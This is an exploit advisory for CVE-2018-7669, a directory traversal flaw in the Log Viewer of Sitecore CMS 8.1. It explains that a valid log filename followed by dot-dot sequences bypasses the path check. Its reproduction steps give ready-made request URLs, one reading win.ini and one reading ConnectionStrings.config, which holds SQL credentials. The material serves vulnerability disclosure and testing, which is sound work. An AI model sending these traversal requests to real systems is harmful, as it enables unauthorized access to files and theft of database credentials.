Sitecore.Net 8.1 – Directory Traversal
# Exploit Title: Sitecore.Net 8.1 - Directory Traversal # Date: 2018-04-23 # CVE: CVE-2018-7669 # Researcher: Chris Moberly at The Missing Link Security # Vendor: Sitecore # Version: CMS - 8.1 and up (earlier versions untested) # Authentication required: Yes # An issue was discovered in Sitecore CMS that affects at least # 'Sitecore.NET 8.1' rev. 151207 Hotfix 141178-1 and above. The 'Log Viewer' # application is vulnerable to a directory traversal attack, allowing an attacker # to access arbitrary files from the host Operating System using a # 'sitecore/shell/default.aspx?xmlcontrol=LogViewerDetails&file=' URI. Validation # is performed to ensure that the text passed to the 'file' parameter correlates # to the correct log file directory. This filter can be bypassed by including a # valid log filename and then appending a traditional 'dot dot' style attack. # [Steps to Reproduce] # The 'Log Viewer' application renders log files from the local filesystem inside # the web browser using a URL like the following: http://<website>/sitecore/shell/default.aspx?xmlcontrol=LogViewerDetails&file= # The following URL can be used to validate the vulnerability by accessing the # win.ini file on a Windows host (remove line breaks): http://<website>/sitecore/shell/default.aspx?xmlcontrol=LogViewerDetails&file=c%3a%5cwebsites%5c<website>%5cdata%5clogs%5<valid log file>.txt\..\..\..\..\..\windows\win.ini # The following URL can be used to access the application's configuration file # containing SQL login credentials (remove line breaks): http://<website>/sitecore/shell/default.aspx?xmlcontrol=LogViewerDetails&file=c%3a%5cwebsites%5c<website>%5cdata%5clogs%5c<valid log file>.txt\..\..\..\Website\App_Config\ConnectionStrings.config # Both of the above URLs are dependent on the application's configuration and # must be modified to correct the <website> and <valid log file> portion. |